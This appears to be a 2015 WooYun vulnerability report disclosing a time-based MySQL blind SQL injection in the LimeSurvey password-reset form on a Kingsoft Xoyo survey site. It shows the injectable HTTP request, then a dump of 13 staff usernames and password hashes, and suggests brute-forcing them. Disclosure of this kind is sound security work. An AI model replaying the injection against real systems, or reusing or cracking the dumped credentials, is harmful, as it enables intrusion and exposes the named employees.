金山逍遥某站点MySQL盲注

编号118370
Urlhttp://www.wooyun.org/bug.php?action=view&id=118370
漏洞状态厂商已经确认
漏洞标题金山逍遥某站点MySQL盲注
漏洞类型SQL注射漏洞
厂商金山逍遥
白帽子lijiejie
提交日期2015-06-05 10:27:00
公开日期2015-07-20 10:56:00
修复时间(not set)
确认时间2015-06-05 00:00:00
Confirm Spend0
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank6
厂商评级
厂商评rank10
漏洞简介
金山逍遥某站点MySQL盲注
漏洞细节

开源的问券调查系统LimeSurvey,老版本以前发现过上传和注射漏洞。
注射点:

POST /index.php/admin/authentication/forgotpassword HTTP/1.1
Content-Length: 177
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://survey.xoyo.com
Cookie: PHPSESSID=6913f244e676097d6328f8a43c5ef97c
Host: survey.xoyo.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
action=forgotpass&checksessionbypost=&user=*


MySQL time blind.

POC

current user:    '[email protected]%'
current database: 'ke_survey'


知道表名是lime_开头的。 因为是时间盲注,我就没去逐个猜表了。
直接下个程序看看admin表在哪里:

http://download.limesurvey.org/latest-stable-release/limesurvey205plus-build150520.zip


xoyo.png


获取到用户13个:

Database: ke_survey
+------------+---------+
| Table | Entries |
+------------+---------+
| lime_users | 13 |
+------------+---------+


Table: lime_users
[13 entries]
+---------------+---------------------------------------------------------------
---+----------------------------+
| users_name | password
| email |
+---------------+---------------------------------------------------------------
---+----------------------------+
| admin | 91c2d3714c5671614870aaeaa0629bc68d531cb159da752f4b85b418b43be4
8f | [email protected] |
| changguofeng | 6be3148756bc2ff7eea2c09528c8bc5e734a7b44304bfa2db6ab1f905e59f9
70 | [email protected] |
| chenwenting | 8915bc0cddda4b87152d2e9176d4404ebeb79d6a69525cea57bc516ecc83ec
bc | [email protected] |
| fangjieying | 7f2e1b39c55ec4a6ec0de44081cd6304db8f5cd09d124a53c00b7fd37b53af
d9 | [email protected] |
| ganlu | 6d87522f8659a8ceadb31986d199b338055b7d247b49dd09fb964d06e280fd
4c | [email protected] |
| liujunli | fb71ba10ebd3a565241e7549449f94c25403a99782d935a7e3fc179f168e57
5c | [email protected] |
| sunjuanjuan | 0faf36e7c04d4dd207d728aee3fca3fb2620594bf90eb9fb5e42cd401acf0e
1c | [email protected] |
| SuWeitian | 44ce86e8d4f2f8dc39f4290834d7bd1dbbcb51a2da158024bcd362f074ff89
1b | [email protected] |
| wangtengfei | d88cbcc684727710979948d5bcb0b3350db0a4c4d73d673c1009876dae749f
e6 | [email protected] |
| zhangbingdong | 95c27b074169a37d8fa15b631effa2580dd628b6c02adb7400f5bc3c79fde8
c5 | [email protected] |
| zhangtianhui | 3a61fb1d1a36f0912812c812fe1c6797339067d8ed41673d4beecb4ed2ecdc
02 | [email protected] |
| zhangyashu | 7d3ca7f93dd1a0257f20406b3abbc3c70de206ed9a9cabaefc7ee85769b092
54 | [email protected] |
| zhuyanling | 44fdda6528867440cd9ef4d5de6cb089b989399ab74eef64dc68082a201699
87 | [email protected] |
+---------------+---------------------------------------------------------------
---+----------------------------+


没有进一步去尝试解开密码,不是直接md5。 但是有了用户名,这里可以尝试暴力破解了已经。

修复方案

参数过滤

状态信息 2015-06-05: 细节已通知厂商并且等待厂商处理中
2015-06-05: 厂商已经确认,细节仅向厂商公开
2015-06-15: 细节向核心白帽子及相关领域专家公开
2015-06-25: 细节向普通白帽子公开
2015-07-05: 细节向实习白帽子公开
2015-07-20: 细节向公众公开
厂商回复收到,非常感谢!
回应信息危害等级:高漏洞Rank:10 确认时间:2015-06-05 10:54